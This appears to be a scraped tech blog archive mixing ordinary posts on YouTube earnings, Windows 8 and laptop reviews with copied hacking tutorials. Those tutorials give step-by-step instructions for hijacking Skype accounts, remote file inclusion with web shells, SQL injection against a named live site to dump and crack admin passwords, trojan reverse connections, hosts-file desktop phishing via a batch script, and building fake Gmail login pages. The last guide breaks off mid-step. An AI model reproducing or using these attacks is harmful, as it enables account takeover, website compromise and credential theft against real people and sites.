TECHNOPHILIA

how to create shortcuts on MyComputer

2013-01-10T09:49:00.002-08:00

Multiple GTalk sign in

2013-01-10T09:47:00.003-08:00

How To Make Money on YouTube

2012-11-24T11:34:00.004-08:00

However, the process of becoming a YouTube partner is not as trivial as becoming an AdSense publisher. Below you’ll find the basic steps you need to go through:

1. Make Sure You Have an AdSense Account

While the process to be able to display ads on your YouTube videos is a separate one, your earnings and stats will go together with your AdSense account, so you need to have one.
In theory you could apply to become a YouTube partner before having an AdSense account, and in case you get accepted you would then follow up with an AdSense application. I believe the other way around is much simpler, though.

2. Grow Your Audience on YouTube

One of the most important criteria the YouTube guys will use to evaluate your application is the audience you reach on YouTube. They don’t reveal what are the requirements, but I’ve seen many people say these are the ballpark numbers you need to have before getting accepted:

at least 1,000 subscribers
at least 1,000 views on all your videos
at least 10,000 channel views

These are the very minimum though, if you want to make sure you’ll get accepted I would aim for 5,000 subscribers, 50,000 channel views and over 1,000,000 upload views total.

3. Get Videos Out There Regularly

If you only have one or two videos uploaded your chances of getting accepted are low, even if those videos went viral. That’s because YouTube is looking for people who are planning to work with them over the long term.

The more regularly and frequently you upload new videos, the better. For instance, someone who uploads a new video every day will have a better chance of getting accepted than someone who uploads one every couple of weeks.

You also want to make sure you have at least 100 uploaded videos before applying to become a partner (though some people say 50 will be enough).

4. Develop A Brand Around Your Videos

This step is not essential, but I think it helps a lot on getting approve. You need to remember that, once you meet the technical guidelines, it will be a person on the other site deciding on whether you are a good fit for becoming a YouTube Partner or not. In other words, the more professional you look the higher your chances.

Practical tips include:

Create a website to host your videos and give your audience more wayts to interact
Create a nice logo and use it everywhere
Use a watermark on your videos with your logo
Consider getting a professional intro made for your videos
Customize your YouTube channel to make it look professional

5. Make Sure Your Content Has Zero Copyrighted Material

If there’s one thing that will get your application rejected on the spot is copyright infringement, so make sure you have zero copyrighted material on your videos.

This includes images, graphics, logos, video clips and audio. For instance, even just using a music on the background which you don’t have permission to could get your application rejected.

6. Apply to Become a YouTube Partner

After you followed all the previous steps you are ready to apply. You can do that via the official YouTube Partner Program page. It might take a while to get your application considered due to the load of people applying, but once you get accepted you’ll be able to start displaying ads on your videos right away.

Nearly 8% Android app are “vulnerable” to attacks

2012-11-18T09:49:00.000-08:00

According to the findings of a new computer security research carried out by

German researchers, nearly 8 percent of Android apps are "vulnerable" to attacks because of weak SSL implementations; and are apparently leaking the users' personal details, including their bank account information and webcam access.

Going by the study's results shared by researchers at the Leibniz University of Hannover and the Philipps University of Marburg, tests of 13,500 free and popular Android apps - available form the Google Play Store - showed that the coding used by as many as 1074 apps, or 8 percent apps, was either incorrect or inadequate; thereby increasing their vulnerability to attacks.

The researchers elaborated that the 8 percent "vulnerable" Android apps chiefly contained SSL/TLS code which can potentially increased their risk of threat from what is called a Man-in-the-Middle (MITM) attack.

Highlighting the findings of their research in a paper titled "Why Eve and Mallory Love Android: An Analysis of Android SSL (In)Security," the researchers said that since SSL/TLS are cryptographic protocols used for securing online communications, the implementation mechanism of these protocols as well as their dependence on a trusted third-party Certificate Authority make many apps susceptible to attacks.

Affirming the findings of the German researchers, security firm Sophos' Paul Ducklin said that a badly written app seemingly has a rather low "barrier of entry"; and added: "You can occasionally stumble across stuff which really shouldn't be in the Play Store."

Hack any skype account in 6 easy steps

2012-11-18T09:15:00.000-08:00

Vulnerability of Skype's password reset system.
The only thing you need to obtain full access to any Skype account is primary email of that account (the email which used when the Skype account been registered).
Following guide contains both - how to steal an account, and how to protect your account (scroll down for that).

For example, I know somebody's email - crackme33@yahoo.com , let's hack his Skype!

1. Go to the Skype website, register new disposable account. In email field, put target's email.

If the email, you typed into form, attached to some skype account, then it will say that "You already have a Skype account", that means you can hack it!

So, complete the form, provide some fake BOD, gender, country, answer to question "How do you intend to use Skype?" as personal, fill any skype name (REMEMBER IT), it will give you some suggestions of not taken ones, assign some password (REMEMBER IT), solve the captcha, proceed forward - push the continue button.

You will be redirected to you new account dashboard. Logout from it.

2. Run the Skype application with those new credentials.

3. Since we just logged in to a fresh account, at home screen of the Skype application, there will be advertisement "Find your friends and say hello", click somewhere to bring focus on that part of screen (I clicked where the red cross is drawn):

Then push F5 button on your keyboard, it will refresh the home screen. Do that 3-4 times until you see "Bring your Facebook friends into Skype" advertisement. Click "No thanks, blah-blah-blah".

You will get the home screen with some banner.

4. Go to Skype's password reset system.Put the target's email. In my case - crackme33@yahoo.com .

Click "Submit button", and after several seconds, you will see Skype's pop-up notification - "Password token".

5. Go to Skype application, on the home screen you will see Password token, click on "more info", go to "temporary code link":

6. Browser will open page, where you can select any skype account registered to target email, in my case there are two account - my disposable and target:

Choose target's account and click "Change password and sign me in":

You will be redirected to login form:

You are all set!
P.S. I have changed primary email for that test accounts, so do not try hack them. Just in case. =)

How to protect your accounts

You already changed password for the target account, know the skype login, and able to use that target skype account. But somebody could take it back from you, just as you did (owner for example).
To prevent that you need to change your primary email to some address, unknown to anyone.

To do that:
1. Sign in on skype website.
2. Go into the "profile" link (click to enlarge):

3. On account information, go down, to "Contact details", click "Add email address":

4. Add your email address, which unknown to anybody, but you:

Click save button at the bottom of the form. After page reload, refresh page again to prevent some strange glitches of the site (if you will not reload the page, after you do following steps, it will forget steps 4 and 5 and discard that little work).

5. Scroll to Contact details again. Click on "Add email address" again. Switch primary email to the new one:

Click "Save" button at the bottom of the form, again.

It will ask you for your password. You know it already. Type password and click button by mouse, not by "Enter" key.

After page reload, refresh page again to prevent some strange glitches of the site (described above).

6. Scroll to Contact details again. Click on "Add email address" again. Delete (with backspace and/or delete buttons) all emails but primary:

7. Click "Save" button at the bottom of the form. Make sure all your changes applied (it sometimes require two or more attempts, since the site is developed by curly-handed programmers).

8. Tell to friends how to protect a skype account. ASAP

At the time there is no other way to protect your skype account, except changing of primary email to some unknown address.
Once account is stolen, it has ability to retrieve all your IM history from other peers.
If you already lost your account, contact to all your necessary contacts and tell them to remove you from their contact list. It prevents IM history interchange (if it is not already happened).

There is how mailbox of target looks like:

Thus target will receive notifications regarding password change, but initial owner have less than one minute to understand and take action, it is almost impossible to login into skype website, change emails, when a hacker already there.

2012-11-08T11:51:00.001-08:00

Rovio releases Angry Birds Star Wars

Nov 08, 2012

Angry Birds Star Wars is now available on iOS, Android, Amazon Kindle Fire, Mac, PC, Windows Phone, and Windows 8.

ngry Birds Star Wars, the new game from Rovio Entertainment and Lucasfilm, is now available on iOS, Android, Amazon Kindle Fire, Mac, PC, Windows Phone, and Windows 8. Along with the game, the company has also released a new trailer for the game and merchandise in select retailers worldwide.

“It’s a banner day for us,” said Peter Vesterbacka, CMO of Rovio Entertainment. “This is our best Angry Birds game yet, and we’re excited for our fans to finally meet Luke, Leia, and the rest of the gang! But it’s more than just a game launch: we think fans are going to just love the new animated trailer and the Angry Birds Star Wars products, sure to be a big hit this holiday season.”

The game follows a plucky group of Rebel Birds in their fight against the evil Imperial Pigs. Fans will use the Force, wield a lightsaber, and blast away Pigtroopers on an intergalactic journey from the deserts of Tatooine to the depths of the Pig Star -- where they’ll face off against the terrifying Darth Vader, Dark Lord of the Pigs.

“We can’t wait for fans around the world to experience the fun of launching the Angry Birds characters into the Star Wars universe,” said Colum Slevin, Vice President, Head of Studio Operations for Lucasfilm Ltd. “This is the kind of creative partnership that has helped Star Wars remain vibrant and beloved for over 35 years.”

Rovio claims that with more than 80 levels in locations such as Tatooine and the Pig Star, the game features hours of gameplay, all new gameplay mechanics, the ability to level up birds, free updates, plus lots of secrets and hidden features. Fans can also train in the 'Path of the Jedi' in-app purchase to become a Jedi Master.

Viewing 1 of 5

Concurrently with the game launch, Rovio and Lucasfilm have also introduced tie-in merchandise and a new cinematic trailer, which retells the classic Star Wars cantina scene with Angry Birds Star Wars characters in the starring roles. Angry Birds Star Wars merchandise, ranging from Hasbro toys to apparel to plush toys, is available now from select retailers.

Rovio Entertainment released a new and extended gameplay trailer for Angry Birds Star Wars on iOS, Android, Windows 8, PC, and Mac yesterday. In this trailer, we can see a variety of Angry Birds in their new Star Wars avatar flaunting their skills with lightsabers. The Bad Piggies, as expected, are from the Dark Side, and they too wield lightsabers.

The game aims to combine all the fun of the classic Angry Birds and Angry Birds Space with the characters, stories, and settings of the epic space fantasy Star Wars.

Tooling Around With Windows 8

2012-11-08T11:46:00.003-08:00

Windows 8 has been designed for touch. You need a new, multitouch-compatible computer to take advantage of this, but you can get a feel for the experience on a mouse-based computer. For example, place your cursor over a tile, then hold the left mouse button down and track the pointer so it drags the tile to a new location on the Start screen. Release the left mouse button, and the tile will be relocated.

Shortest URL shortening service

2012-10-29T12:46:00.001-07:00

URL shortening services allow people to remember the addresses (URLs) of websites having long characters easily and make producing them in text through memory enjoyable. The URL shortening service dates back to 2002 and till sate there had been some thousand websites launched to provide people the advantages of a URL shortener.

While twitter automatically shortens the long URLs to allow space for more relevant words to be inserted in the posts, the URL shortening services have had many downfalls in its 12 years career. Every shortened URL has an alphanumeric code that is unique for the site and directs one there. For example the URL ‘http://www.free-online-tv-shows.com’ ingg.gg generated the link ‘http://gg.gg/39r’ that is unique. However, this does not mean that ‘http://gg.gg/39r’ will lead to the above website.

All shortened URLs must be registered before they can actually be used to direct users to certain web-pages. There are certain forums that block the posting of shortened URLs, while some short URLs may fall under the category of spammers because there are people who abuse these services for spamming. Reports have is that 64 % of the URL shortening services that have been introduced have shut down. Short URLs have also been used to conduct malicious works like child pornography that have lead to their closure. Some short URLs might lie unused, or the service provider might not be able to deliver long term services, which results in ‘linkrot’ or in other words the link and the chain of its associated links break away.

The services of gg.gg are yet to be tapped to the fullest potential with their url shortener chrome plugin.

Lenovo IdeaPad Yoga 13 hands on: Flexible laptop for flexible Windows 8

2012-10-27T22:33:00.002-07:00

Lenovo caught the attention of a lot of folks with the introduction of the Yoga laptop for Windows 8. The Yoga is a full laptop that has a screen you can flip all the way behind the base, turning it into a touch tablet. The Yoga 13 runs full Windows 8 and not the tablet-oriented Windows RT.

See related: Windows 8 hardware: x86 tablets and hybrids

Using the Yoga is hard to describe, as it can function as a standard Windows laptop with a large touch screen. It couples a great keyboard and trackpad with the Windows 8 touch screen elements to yield a unique user experience.

I spent the first few hours with the Yoga strictly in laptop mode. I wanted to get a feel for how well it worked as a laptop, as I suspect most buyers will end up using it this way. As a laptop the Yoga is a typical Lenovo offering, good build quality and excellent hardware components.

Hardware specifications as reviewed:
Processor: Intel Core i5 1.7 GHz
Memory: 4 GB
Display: 13-inch IPS, 1600 x 900, 10-point multitouch
OS: Windows 8
Storage: 128 GB SSD
Camera: 1 MP webcam
Ports: 1-USB 3.0, 1-USB 2.0, audio combo, HDMI, 1-in-1 SD/MMC card reader
Connectivity: Wi-Fi b/g/n, Bluetooth
Battery: 8 hours
Dimensions: 333.4 x 224.8 x 16.9 mm (13.1 x 8.9 x 0.67")
Weight: 1.5 kg (3.3 lb)

Yoga 13 as a laptop

The Yoga 13 is an outstanding Ultrabook with the attention to detail Lenovo is famous for. The keyboard and large buttonless trackpad are quite good and coupled with the bright, vivid screen turn the Yoga into a great laptop.

The build quality of the device is quite good. It feels very solid yet very light. The special hinge on the display is very durable and allows flipping the lid all the way behind the keyboard base for use as a tablet. The keyboard is turned off when used as a tablet, a good thing as you actually push keys when holding the tablet.

Lenovo is quoting 8 hours of battery life and this feels accurate based on my limited use. The power cord has the special Lenovo connector used on recent laptops, roughly the size of a USB connector.

I am having some trouble with the trackpad, that otherwise is very sensitive and works mostly as expected. It took some deep digging to find the two-finger scrolling option for the trackpad, but once I enabled it I was a happy camper. I do find that in Windows 8 the individual apps must support such scrolling.

The trackpad is also prone to accidental activation when my hands are typing. There isn't an easy way to turn the trackpad off when typing which would make things much easier.

Yoga as tablet

To take advantage of the dual nature of Windows 8, the Yoga 13 can be turned into a full tablet. The screen is flipped all the way back behind the keyboard which deactivates the keyboard. It is disconcerting to constantly mash the keys when gripping the Yoga as a tablet, and I can't help feeling it will eventually break the keys.

As a tablet the Yoga 13 is not quite as good as it is a laptop. This is due to the sheer size of the device, which is too heavy for use in the hands for very long. It is a good touch tablet, just really big with that 13-inch screen.

The resolution of 1600 x 900 makes it really narrow in portrait mode, so I end up using it mostly in landscape. This makes it a pretty unwieldy tablet.

I also find that the edge swipe gestures used to invoke the Windows 8 charms, activate app settings, and switch among running apps are hard to perform. They rarely work with the first swipe, requiring a second attempt to execute the desired action. It is also common to accidentally execute an action on whatever tile is near the edge of the screen when trying to do a swipe gesture. This results in lots of apps running I don't want.

Yoga as hybrid

The ability to flip the display all the way behind the base adds the benefit of also moving the display anywhere in between closed and full tablet mode. This hybrid mode is touted by Lenovo as allowing propping up the unit like a tent for watching video or using in presentation mode. The Yoga 13 works well in either mode, although it's not likely to be used often in such modes.

The schizophrenic nature of the Yoga 13 goes hand in hand with the schizo nature of Windows 8. As a full version of Windows 8, legacy apps can be installed and run as desired. This is a powerful augmentation of the standard Metro desktop.

I find the new style Metro apps to be quite good, and the Yoga 13 runs them well on the large display. It is possible to also snap two apps side-by-side in Windows 8, a feature the wide display of the Yoga performs to advantage. I try to keep in Metro mode all the time, but Windows 8 makes this hard to do.

You never know when you tap a tile in Windows 8 if it is going to run in the preferred Metro mode or if you're going to get kicked into the desktop mode. It is jarring when that happens, as the windowed environment on such a high-resolution screen results in constant windows adjustment and font size increasing. Everything on the desktop is just so darn small on this great screen. It's like going from a modern operating environment (Metro) to an old-school Windows 7 desktop randomly.

Conclusion

The Yoga 13 is available now from Lenovo starting at $999. It is a great laptop with a unique bending screen that can be used in a number of positions for different functions. It's a large touch tablet that can be used much the same as any tablet, yet one that runs all Windows apps.

This laptop is primarily for those who need a laptop most of the time, with light duty as a tablet. The touchscreen works well in the laptop mode due to the Metro interface in Windows 8.

New Apple Mac Mini desktop computer is easy to repair, upgrade, says iFixit

2012-10-27T14:25:00.001-07:00

Apple haters love to point to iFixit's teardowns of its recent products as a sign of the company's consumer unfriendliness. For instance, the site just failed the new MacBook Pro 13-inch with Retina Display on its repairability, scoring it a mere 2 out of 10. Conspiracy theories abound that Apple makes it difficult to repair and upgrade its products in order to make consumers buy new models instead of trying to fix their existing ones.

They'll have to hold their tongues about the new Mac Mini, however. According to iFixit's teardown of the tiny computer, Apple has actually made a device that is surprisingly easy to repair and upgrade. In fact, it gives the Mac Mini circa 2012 an 8 out of 10 on its repairability scale.

How did that happen? For starters, Apple makes it simple to open up the Mac Mini: just twist off the disc-shaped back panel to access its components. It also makes it easy to upgrade the system's RAM, as it uses PC3-12800 DDR3 RAM; in comparison, the new MacBook Pro has its RAM soldered to the logic board, meaning there's no option to replace or upgrade.

iFixit also gives Apple props for an easily repairable power supply, and it was successful in installing its own $69.95 Mac Mini Dual Hard Drive Kit without hiccups. The new Mac Mini lacks some of the other bugaboos that have made other recent Apple products difficult to upgrade and repair, like proprietary screws and numerous parts that are glued together.

Not everything is perfect, however. One part that is soldered on is the CPU, so you can't really replace it with a new processor in the future. And even if it's not hard to replace the power supply, you have to excavate it from a mountain of parts first. Still, I have a feeling the Mac Mini will easily top the score for the new iMac, whenever iFixit gets around to tearing that down.

How Can we hide any files behind pictures. Here is a simple solution.

2012-10-22T20:49:00.002-07:00

Remote File Inclusion (RFI) | Website Hacking

2012-10-18T14:04:00.004-07:00

Remote File Inclusion (RFI) | Website Hacking

Before starting this tutorial, I would like to tell you about a piece of code called as shell. There are many shells available . Lets consider a shell known as c99 shell. First download it from here.
Now signup for a account on any free web hosting site . Say 110mb.com. Now sign into your account,go to Filemanager, upload some files and then upload c99 shell here. Now just log out and visit the URL of shell you uploaded.

http://username.110mb.com/shell.php

and you would find that you can manage all your directories and files without logging in your account,that is without entering your password anywhere.

Both images are showing the filemanager, In Ist I am accesing by signing into my account and 2nd just by accessing shell without logging into.

I just wanted to show you that Imagine if anybody somehow upload this kind of shell on your server, how deadly it can be. Here comes the concept of Remote File Inclusion into picture.

Note:Your account might be suspended after uploading such shells.

What is Remote File Inclusion ?

As clear from the name, Remote File inclusion means 'including a remote file' . RFI is a vulneribility found in websites that allow attackers to include a remote file on the webserver. This may lead to remote code execution and complete compromise of system.

How to perform attack ?

Step 1. Upload a shell in text format on your web hosting site. That is just copy the code of shell and save it as text file and upload it. Note down the complete path of your shell.
Step 2. Search for the vulnerable site using google dorks. like
inurl:index.php?id=
inurl:index.php?page=
You can use automated tools for the same.
Step3. Lets say you got any site like
http://www.victim.com/index.php?page=anything

Replace this URL by http://www.victim.com/index.php?page=http://yoursite.com/yourshell.txt?

Your shell might have uploaded on server if the victim's site is vulnerable. Now you can do any thing with victim's site or may be even with other sites running on same webserver by simply accessing your shell.

SQL Injection

2012-10-18T14:01:00.003-07:00

SQL Injection | Step by Step deface website

Posted by SHINE SREEDHAR at 5:45 AM / Categories: Hacking Website, Website, website vulnerabilitis /

What is SQL injection ?
SQL stands for Structured Query Language. It is very high level language,I mean close to humans.
Like SELECT,INSERT,DELETE,UPDATE queries are used to select,add data,delete data,update data
respectively.SQL is used to
design the databses. The information is stored in databses.
SQL injection is the vulnerability occuring in database layer of application which allow attacker to see
the contents stored in database. This vulnerabilty occures when the user's input is not filtered or
improperly filtered.Example the webpages links in format
www.anything.com/something.php?something=something, example
www.tartanarmy.com/news/news.php?id=130.
Here we are passing 130 to database and it returns the results accordingly. Lets attach a single quote at the end (') that is
www.tartanarmy.com/news/news.php?id=130'
and we got an error on the screen because it included the single quote (') while processing the results. It assures us that it didn't filter our input and is vulnerable to attack.

Some basics-:
Every database server has databases on it. Every database has tables in it, tables have columns in it and finally data is stored in columns.

We Have chosen database "explore_hacking" from six databases. Its has four tables admin,articles,products,subscribers. Each table has further columns and data stored in them . For example we chose 'admin' table, it has columns id,username,password,email.

What is information_schema ?
It is information database present in all SQL database severs(version>5) by default. It contains
information like names of tables,columns present in all other databases.

We have opened database "information_schema" which is present by default and the table named as "TABLES" in database.

SQL Injection Tutorial :-
This tutorial is only for educational purposes. Kindly do not misuse it.
Log on to http://www.tartanarmy.com/news/news.php?id=130. Basically we are going to send the queries through URL to get back results on screen accordingly. The motive is to get name of table, name of colmun in which usernames and passwords are stored and finally fetching them. Instead of copying and pasting the long links, simply click on "click here" and open in new tab.

Step1.Find number of columns.
Lets use "ORDER BY" clause here, it is used to sort the columns.Choose any number,
say 10. Here I have assumed that number columns cant be more then 10."--" is used for making anything after it comment.
Now go to this URL
http://www.tartanarmy.com/news/news.php?id=130 order by 10-- Click here
Actually we instructed it sort the result by 10th column. But it returned us with an error,this
means number of columns are less then 10. Lets replace it with 9.

http://www.tartanarmy.com/news/news.php?id=130 order by 9. But again we got an error. This
means number of columns are less than 9. Like this we keep on moving, until we dont get any error.
Finally we reach on '6'
http://www.tartanarmy.com/news/news.php?id=130 order by 6--
we didn't get any error, this means there are 6 colums.

Step 2.Find vulnerable columns.
Now lets use "UNION ALL" and "SELECT" command. Remember to put dash (-) before 130.
http://www.tartanarmy.com/news/news.php?id=-130 union select all 1,2,3,4,5,6--. Click here
We would get a couple of numbers on screen. The bold ones are the most vulnerable columns.
In this case the most vulnerable is number 2.

Step 3. Find database version.
Replace the most vulnerable column with "@@version" or "verson()" (if first one doesn't work).
http://www.tartanarmy.com/news/news.php?id=-130 union select all 1,@@version,3,4,5,6-- Click here
We got the version on screen. It is. The only thing to note is that version is 5 point something that
is greater than 5. We would have followed some other approach in case the version would be
less than 5 because there is no database by default like "information_schema" which stores information about tables/columns of other databases. in version less than 5.

Step 4. Finding table names.
Replace vulnerable column no. with "table_name".
http://www.tartanarmy.com/news/news.php?id=-130 union select all 1,table_name,3,4,5,6 from
information_schema.tables where table_schema=database()-- Click here
We got first table name on the screen.

To get all tables use group_concat

http://www.tartanarmy.com/news/news.php?id=-130 union select all 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()-- Click here

Step 5.Finding column names.
Simlary get all the columns by simply replacing 'table' with 'column'
http://www.tartanarmy.com/news/news.php?id=-130 union select all 1,group_concat(column_name),3,4,5,6 from
information_schema.columns where table_schema=database()-- Click here
There is a repeating element like in this case is 'id' .From it, we come to know which table number
has which columns.

Step 6.Fetching data from columns.
We can fetch the data stored in any column. But the interesting ones here are username and password.
These columns are in first table that is tar_admin. "0x3a" is used simply to insert a colon in result to separate it, it is hex of colon.

http://www.tartanarmy.com/news/news.php?id=-130 union select all 1,group_concat(username,0x3a,password),3,4,5,6 from tar_admin--. Click Here

So finally we got the usernames and passwords on screen. But passwords are encrypted.
Mostly these encryptions are crackable. Lets choose any username say
"Sneds". The password in encrypted form is 7d372d3f4ad3116c9e455b20e946dd15 .Lets logon to http://md5crack.com/crackmd5.php and put the hashed(encrypted) password here.
And it would crack for us. We got 'oorwullie' in result ( password in clear text).

Note:Hashes are type of encryptions which are irreversible. There are numberless online crackers available. Keep trying. Sometimes very strong hashes can not be cracked.
Where is the login panel or login page of website ?
So you got the key, where is lock now ? Most of the websites have login pages at default locations.
There is any website, say www.xyz.com. The login page would be at
www.xyz.com/admin , www.xyz.com/administrator , www.xyz.com/adminlogin etc.
Download this admin page finder from here and it would try all these default pages.

Windows Logon Password - How crackers work ?

2012-10-18T13:58:00.000-07:00

Windows Logon Password - How crackers work ?

Posted by SHINE SREEDHAR at 9:39 AM / Categories: windows /

Cracking windows logon password is not so difficult. You can get many offline password crackers which could change/clear the existing password (like offline nt password and registry editor) or cracks the existing password (like oph crack). Just download their ISO images ,burn them,insert to CD ROM and then things are simply self explainatory. I am writing this post to make you clear that how actually these password crackers work.

Okay when you set windows logon password, it is obviously stored in a file somewhere in windows.

The password is stored in SAM file placed in %systemroot%\system32\config (like C:\windows\system32\config).

Now why we just dont try to open SAM and see all stored passwords. Okay lets do it, go to C:\windows\system32\config and open SAM. You must get an error that " it is in use by some another application". Actually we cant open SAM file when windows is running . Even if anyhow we manage to access the content of SAM file, we won't get the passwords in clear text but they are encrypted.

So , what is SAM file ?

SAM stands for Security Accounts Manager. SAM is database stored as registry in windows that stores windows users passwords in hashed formats( LM and NTLM). These are usually called as hashes.

What are hashes ?

Hashes are kind of encryption. A hash function is a one way function. One way means, if plain text

is converted into hash, it can not be converted back plain text. Remember this is the most important

point that they are one way functions.

What is windows authentication procedure ?

When ever a user creates new account in windows, its password is convetred to hash and stored in SAM database.When user logins, the password is converted to hash and is compared with the stored hash in SAM database, if both the hashes match , the user is authenticated.

How to access SAM file ?

SAM file can not be moved/copied or opened when windows is running. It can be accessed only when windows is offline/not running . Got confused that how can we use the windows files when it is not running ?

Here comes the concept of Live Operating systems. A live CD is containing a bootable OS. Just insert it in CD ROM and you can use it without any installation.

How to crack Windows password ?

Okay suppose we have got access to SAM file and have password hashes. Dont you think its useless because hashes cant be coverted to plain text ? Lets see, what we can do.

We ( I mean automated tools) can actually do two things.

1. Clear/Change password :Clear the existing hash and put new hash (we know alogrithm to convert plain text to hash) in order to change/clear the password. This is how offline nt password and registry editor work. It doesn't give you the orignal password but helps you to change/clear it.

2.Crack password Make a long list of all possible combinations of alphabets,numbers and convert them to hashes.Compare every hash with hash we obtained from SAM file and hashes could be cracked. This is exactly how OPH crack works. It has already saved hashes of many possible combinations of letters/numbers stored in tables called as rainbow tables.

Trojan Horse (Basics) - Part 1

2012-10-18T13:55:00.001-07:00

Trojan Horse (Basics) - Part 1

Posted by SHINE SREEDHAR at 1:00 AM / Categories: malicious, RAT, Spywares, trojan, viruses, windows /

Have you watched movie Troy ? okay lets leave . Have your wallpaper ever changed automatically ? Have the programs ever started without your initiation ? Have the browser opened unexpected websites automatically ? Simply have you ever felt that someone else is controlling your computer ? NO ?

Congrats, you probably haven't been a victim of trojan yet :).

A trojan horse is a remote administration tool(RAT). This is some thing extremely dangerous. A trojan gives the full control of victim's PC to the attacker.

A trojan has two parts . One is client part (Control Panel) and other is server part (meant to be sent to victim).

The basic methodology of using a trojan is as follows:-

1. Attacker creates an executable file of size in kbs. This is server part of trojan and mostly called as server.exe

2.Attacker might hide this server.exe behind any genuine file like a song or image. Attacker gives this file to victim and victim is supposed to double click on it.

3.As victim run that server part , a port on victim's computer gets opened and attacker can control his PC sitting remotely in any part of the world through the control panel(client part). Attacker can do anything with victim's computer remotely that victim himself can do on his computer.

Note: Now I am assuming that you know a little bit about IP addresses that is lan/internal/private and wan/external/public IP.

Two different methods of working of Trojan.

1. Direct Connection : In this method, after the server part has been installed on victim's machine, the attacker enters the public IP address assigned to victim's computer for making a connection to it. But limitations of direct connection is that public IP address is most probably dynamic and gets changed everytime one disconnects and reconnects. So attacker needs to find out IP address of victim each time.Moreover the incoming connection like this is usually restricted by firewall.

The main limitation of direct connection is that you can not access the victim who is behind a router or a network beacuse victim's machine is not assigned public/external/wan IP. It is only assigned private/internal/lan IP which is useless or meaningless for computers outside that network.The wan IP belongs to his router.

It doesnt matter how attacker is connected to internet. Attacker can be connected to internet any of three means.

Victim is behind a router in this case. (havent inserted the picture of victim behind a network, imagine that )

2. Reverse Connection: In this method, attacker enters his own IP address in server part while configuring it .So when the server part is installed on victim's computer, it automatically makes connection with client part that is attacker. Also the firewall in victim's machine would not restrict to outgoing connections. Problem in this case is same that attacker's IP is also dynamic. But this can be over come easily. Attacker actually enters a domain name in server part which always points to his dynamic IP.

Reverse connection can bypass a router or a network.

You might be confused at this point. Kindly mention your queries/doubts in comments.

Note:This was just a basic theoretical guide of Trojans. Read Part 2 containing configuration and step by step use of Trojans here.

Desktop Phishing - Step by step tutorial

2012-10-18T13:51:00.001-07:00

Desktop Phishing - Step by step tutorial

Posted by SHINE SREEDHAR at 8:33 AM / Categories: email, fake login page, phishing /

It is an advance form of phishing. Kindly read my previous post on normal phishing herebefore proceeding.Difference between phishing and desktop phishing is as follows.

In phishing :-

1. Attacker convinces the victim to click on the link of fake login page which resembles a genuine login page.

2.Victim enters his credentials in fake login page that goes to attacker.

3.Victim is then redirected to an error page or genuine website depending on attacker.

But main drawback in phishing is that victim can easily differentiate between fake and real login page by looking at the domain name. We can overcome this in desktop phishing by spoofing domain name.

In desktop phishing:-

1. Attacker sends an executable/batch file to victim and victim is supposed to double click on it. Attacker's job is done.

2. Victim types the domain name of orignal/genuine website and is taken to our fake login page. But the domain name remains the same as typed by victim and victim doesn't come to know.

3. Rest of the things are same as in normal phishing.

What is Hosts File ?

The hosts file is a text file containing domain names and IP address associated with them.

Location of hosts file in windows: C:\Windows\System32\drivers\etc\

Whenever we visit any website, say www.anything.com , an query is sent to Domain Name Server(DNS) to look up for the IP address associated with that website/domain. But before doing this the hosts file on our local computer is checked for the IP address associated to the domain name.

Suppose we make an entry in hosts file as shown. When we visit www.anywebsite.com , we would

be taken to this 115.125.124.50. No query for resolving IP address associated with www.anywebsite.com would be sent to DNS.

What is attack ?

I hope you have got an idea that how modification of this hosts file on victim's computer can be misused. We need to modify victim's hosts file by adding the genuine domain name and IP address of our fake website /phishing page. Whenever victim would visit the genuine website , he would be directed to our fake login page and domain name in the URL box would remain genuine as typed by victim. Hence domain name is spoofed.

Two Steps to perform attack :-

1. Create and host phishing page on your computer.

2. Modify victim's host file

Step 1 -:

Since the webshosting sites like 110mb.com,ripway.com etc where we usually upload our phishing page do not provide a IP that points to your website like www.anything.110mb.com. An IP address points to a webserver and not a website. So we need to host the phishing page on our computer using a webserver software like wamp or xampp.

Kindly read my simple tutorial on setting up XAMPP webserver here and this step would be clear to you.

Step 2. This step can performed in two different ways.

Method 1 - Send victim a zip file containing modified host file . When Zip file would be clicked, It would automatically replace victim's orignal hosts file with modified hosts file.

Copy your hosts file and paste it anywhere . Modify it according to yourself..Edit it with any text editor and associate your public IP address with domain you wish as show.

Like in this case , when victim would visit gmail.com , he would be taken to website hosted on IP 'xxx.xxx.xxx.xxx'.Replace it with your public IP.Compress hosts file such that when victim opens it, it automatically gets copied to default location C:\Windows\system32\drivers\etc and victim's hosts file get replaced by our modified hosts file.

Then you can bind this file with any exe ( using a binder or directly give it to victim. He is supposed to click it and you are done .

Method 2 - Create a batch file which would modify hosts file as per your need.

Open your notepad and type the following text

echo xxx.xxx.xxx.xxx. www.watever.com >> C:\windows\system32\drivers\etc\hosts

echo xxx.xxx.xxx.xxx watever.com >> C:\windows\system32\drivers\etc\hosts

Obviously replace it with your IP and website acc. to yourself.

Save file as 'all files' instead of txt files and name it anything.bat . Extension must be .bat

When victim would run this file, a new entry will be made in hosts file.

You can test both the above methods to modify your own hosts file

Limitations of attack :-

1.Since our pubilc IP address is most probably dynamic that it gets changed everytime we disconnect and connect. To overcome this we need to purchase static IP from our ISP.

2. The browser may warn the victim that Digital Certificate of the website is not genuine.

Countermeasures:-

Never just blindly enter your credentials in a login page even if you yourself have typed a domain name in web browser. Check the protocol whether it is "http" or "https" . https is secure

Phishing - Creating,uploading and using fake login pages

2012-10-18T13:49:00.001-07:00

Phishing - Creating,uploading and using fake login pages

Posted by SHINE SREEDHAR at 9:59 AM / Categories: email, fake login page, phishing /

If you do not know what exactly phishing means , I highly recommend you to read my post on basics of phishing here.

I could simply give you the fake page generators or already made fake web pages but I want you to manually create yourself.

First, I shoud tell you the basic methodology of making phishing page of any website. In a website where the users are supposed to enter/submit any data (data might be email,password or anything), there is a piece of code in html code called as action form. It looks like this
<form method="POST" action="something">.
You can find this out by simply viewing the source of web page. Right click on webpage to do so. "something" here in the action field is name or path of the file where submitted data goes. So the idea of fake login page is simple. Just download the webpage on your computer, modify the action field to change the path where data goes according to yourself, upload this modified webpage on any web hosting site and you are done. :)

I have taken example of gmail.

Download a php file and a text file from here which would be required. Password:explorehacking.com

Setps to make a phishing/fake login page :-
1. First of all, sign up for a account at any free webhosting site like my3gb.com,ripway.com,110mb.com etc.
I have chosen my3gb.com
2.Goto www.gmail.com. Click on 'Save page as' option and save the complete web page. You must have got a html file and a folder in which there must be two images.

3. Open the html file in any text editor like wordpad or notepad. Press "Ctrl+F" to search for word "action".

